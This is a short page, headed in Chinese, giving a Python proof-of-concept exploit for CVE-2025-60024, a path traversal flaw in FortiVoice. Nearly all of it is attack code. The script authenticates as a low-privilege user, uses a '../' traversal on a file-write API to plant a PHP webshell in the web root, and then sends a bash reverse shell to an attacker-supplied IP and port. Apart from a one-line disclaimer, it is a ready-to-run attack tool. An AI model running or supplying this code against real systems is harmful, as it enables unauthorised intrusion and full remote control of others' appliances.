CVE-2025-60024 FortiVoice路径遍历漏洞（高危）

#!/usr/bin/env python3 """ CVE-2025-60024 FortiVoice Path Traversal PoC Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys from urllib.parse import quote def exploit_fortivoice(target_ip, username, password, attacker_ip, attacker_port): """ Exploit CVE-2025-60024 - FortiVoice Path Traversal to RCE Args: target_ip: Target FortiVoice appliance IP username: Valid low-privilege user account password: Password for the account attacker_ip: Attacker listening IP for reverse shell attacker_port: Attacker listening port """ base_url = f"https://{target_ip}" # Step 1: Authentication login_url = f"{base_url}/api/v1/auth/login" login_data = { "username": username, "password": password } try: print(f"[*] Authenticating to FortiVoice at {target_ip}...") session = requests.Session() response = session.post(login_url, json=login_data, verify=False, timeout=30) if response.status_code != 200: print("[-] Authentication failed") return False token = response.json().get('token') headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } print("[+] Authentication successful") # Step 2: Path Traversal to write arbitrary file # Target: Write a PHP webshell to web root webshell_content = f"<?php system($_GET['cmd']); ?>" traversal_path = "../../../var/www/html/shell.php" write_url = f"{base_url}/api/v1/system/file/write" write_data = { "path": traversal_path, "content": webshell_content } print(f"[*] Attempting path traversal to write webshell...") response = session.post(write_url, json=write_data, headers=headers, verify=False, timeout=30) if response.status_code == 200: print(f"[+] Webshell written successfully to {traversal_path}") # Step 3: Execute command via webshell shell_url = f"{base_url}/shell.php" print(f"[*] Accessing webshell to execute commands...") # Example: Download and execute reverse shell cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_cmd = quote(cmd) response = session.get(f"{shell_url}?cmd={encoded_cmd}", verify=False, timeout=10) print(f"[*] Payload sent. Check your listener for reverse shell.") return True else: print(f"[-] File write failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] exploit_fortivoice(target, user, pwd, lhost, lport)